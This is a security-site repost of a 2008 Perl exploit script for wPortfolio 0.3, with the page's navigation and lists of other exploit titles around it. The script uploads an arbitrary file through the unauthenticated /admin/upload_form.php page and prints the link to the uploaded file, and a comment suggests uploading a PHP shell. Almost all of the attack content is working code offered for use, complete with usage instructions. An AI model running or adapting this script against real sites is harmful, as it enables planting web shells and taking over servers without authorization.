首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Portfolio <= 0.3 Remote Arbitrary File Upload Exploit
来源:osirys[at]live[dot]it 作者:Osirys 发布时间:2008-11-20  
#!/usr/bin/perl

# Name: wPortfolio <= 0.3 Arbitrary File Upload Exploit
# Script Name: wPortfolio 0.3
# Download: http://sourceforge.net/project/downloading.php?group_id=244834&use_mirror=kent&filename=wPortfolio.zip&80791070
# Vulnerability: Arbitrary File Upload
# Vulnerable page: /admin/upload_form.php
# * You can upload everything you want, why not a php shell? ^^
# Author: Osirys
# Contact: osirys[at]live[dot]it
# Proud to be Italian
# Thx: athos

use LWP::UserAgent;
use HTTP::Request::Common;

my $path        = "/admin/upload_form.php";
my $d_fold      = "/admin/tmp/";
my($host,$file) = ($ARGV[0],$ARGV[1]);

($host,$file) || help("-1");
cheek($host) == 1 || help("-2");
&banner;
my $url = $host.$path;

my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url,
                      Content_Type => 'form-data',
                      Content      => [file_to_upload => [$file]]
                      );

if ($re->is_success) {
    print "[+] Uploaded ! \n";
    print "[+] Link: ".$host.$d_fold.$file." \n";
}
else {
    print "[-] Upload failed ! \n";
}

sub cheek() {
    my $host = $_[0];
    if ($host =~ /http:\/\/(.*)/) {
        return 1;
    }
    else {
        return 0;
    }
}

sub banner {
    print "\n".
          "  ========================================== \n".
          "     wPortfolio 0.3 Arbitrary File Upload \n".
          "     Author: Osirys \n".
          "     osirys[at]live[dot]it \n".
          "     Proud to be italian \n".
          "  ========================================== \n\n";
}

sub help() {
    my $error = $_[0];
    if ($error == -1) {
        &banner;
        print "\n[-] Cheek that you typed the hostname address and the local file to upload !\n";
    }
    elsif ($error == -2) {
        &banner;
        print "\n[-] Bad hostname address !\n";
    }
    print "[*] Usage : perl $0 http://hostname/cms_path local_file_to_upload \n\n";
    exit(0);
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Exploits Microsoft VISTA TCP/I
·Exodus 0.10 (uri handler) Arbi
·MauryCMS <= 0.53.2 Remote Shel
·PunBB Mod PunPortal 0.1 Local
·MyTopix <= 1.3.0 (notes send)
·wPortfolio <= 0.3 Admin Passwo
·PunBB (Private Messaging Syste
·PHP-Fusion 7.00.1 (messages.ph
·Chilkat Socket activex 2.3.1.1
·vBulletin 3.7.3 Visitor Messag
·FREEze Greetings 1.0 Remote Pa
·Oracle Database Vault ptrace(
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved